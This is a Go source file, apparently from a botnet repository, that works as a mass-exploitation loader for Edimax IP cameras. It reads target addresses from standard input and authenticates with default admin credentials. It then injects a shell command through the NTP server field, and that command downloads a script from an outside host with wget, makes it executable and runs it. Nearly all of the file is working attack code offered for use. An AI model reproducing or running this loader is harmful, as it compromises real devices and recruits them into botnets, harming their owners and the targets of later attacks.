Path: blob/master/Botnets/Exploits/Edimax/loader.go
5038 views
// known working ports are 80, 81, 80801/*23loader made by Prodigy and dorks found by benshii.45*/67package main89import (10"fmt"11"bufio"12"os"13"net"14"time"15"strings"16"strconv"17)1819var (20payload = "action=update&ipcamSource=%2Fntp.asp%3Fr%3D20130724&NTP_enable=1&NTP_serverName=%3b$(cd+/tmp%3b+wget+http%3a//1.1.1.1/sh%3b+chmod+777+sh%3b+sh+sh)&NTP_tzCityNo=16&NTP_tzMinute=0&NTP_daylightSaving=0"21found = 022connections = 023connections_failed = 024)2526func check_version(conn net.Conn) bool {27var buffer = [256]byte{}2829len, err := conn.Read(buffer[:])30if len == 0 || err != nil {31//fmt.Println("failed on read");32return false33}3435//fmt.Println(string(buffer[:]))3637return (strings.Contains(string(buffer[:]), "1.4.28") && strings.Contains(string(buffer[:]), "200"))38}3940func exploit(target string) {41//fmt.Println(target)42conn, err := net.DialTimeout("tcp", target, 10 * time.Second)43if err != nil {44connections_failed++45return46}4748connections++4950conn.Write([]byte("GET / HTTP/1.1\r\nHost: "+ target +"\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r\n"))5152if check_version(conn) {53found++54fmt.Println("address:", target)55conn.Write([]byte("POST /camera-cgi/admin/param.cgi HTTP/1.1\r\nHost: "+ target +"\r\nContent-Length: "+ strconv.Itoa(len(payload)) +"\r\nCache-Control: max-age=0\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\nUpgrade-Insecure-Requests: 1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\nReferer: http://"+ target +"/ntp.asp?r=20140408_1683324821461\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\nConnection: close\r\n\r\n"+ payload +"\r\n\r\n"))56}57}5859func main() {60go func() {61for {62fmt.Println("connections:", connections, "failed connections:", connections_failed, "found:", found)63time.Sleep(time.Second)64}65}()6667for {68scanner := bufio.NewScanner(bufio.NewReader(os.Stdin))69for scanner.Scan() {70go exploit(scanner.Text() + ":" + os.Args[1])71}72}73}747576